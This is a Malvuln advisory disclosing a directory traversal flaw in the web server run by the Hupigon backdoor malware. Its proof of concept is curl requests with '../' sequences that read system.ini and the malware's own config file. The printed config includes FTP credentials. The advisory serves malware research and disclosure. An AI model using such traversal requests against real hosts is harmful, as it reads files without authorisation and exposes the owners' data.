Backdoor.Win32.Hupigon.afjk Directory Traversal

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/8dc8abc99c1e7908fe9d048a4e360960_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Hupigon.afjk  
Vulnerability: Directory Traversal  
Description: The malware deploys a Web server listening on TCP port 80. Third-party attackers who can reach an infected host can read any file on the system using "../" path traversal characters to break out of the web root dir.  
Type: PE32  
MD5: 8dc8abc99c1e7908fe9d048a4e360960  
Vuln ID: MVID-2021-0351  
Disclosure: 09/25/2021  
  
Exploit/PoC:  
Read any file on the infected host)  
  
curl http://x.x.x.x/../../../../../Windows/system.ini  
; for 16-bit app support  
[386Enh]  
woafont=dosapp.fon  
EGA80WOA.FON=EGA80WOA.FON  
EGA40WOA.FON=EGA40WOA.FON  
CGA80WOA.FON=CGA80WOA.FON  
CGA40WOA.FON=CGA40WOA.FON  
  
[drivers]  
wave=mmdrv.dll  
timer=timer.drv  
  
[mci]  
  
Read malware config)  
  
curl http://x.x.x.x/../Users/Victim/Desktop/Operate.ini  
  
[Operation]  
ViewStyle=vsReport  
SkinFile=  
OnSound=1  
Sound1=C:\Users\Victim\login.wav  
Sound2=C:\Users\Victim\offline.wav  
Sound3=C:\Users\Victim\setting.wav  
Sound4=C:\Users\Victim\upfile.wav  
Sound5=C:\Users\Victim\downfile.wav  
TimerOut=20000  
WriteLog=0  
AutoUpClient=1  
MaxConnections=0  
AutoKeepTime=1  
AutoWebServer=1  
[LocalPort]  
AutoSxport=8000  
[FTP]  
AutoSave=1  
FTPServer=192.168.18.125  
FTPport=21  
FTPUser=admin  
Password=abc123  
Http=  
IpFile=ip.txt  
[VIP]  
UserName=  
[WebServer]  
AutoSave=1  
WebDir=C:\  
WebPort=80  
  
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`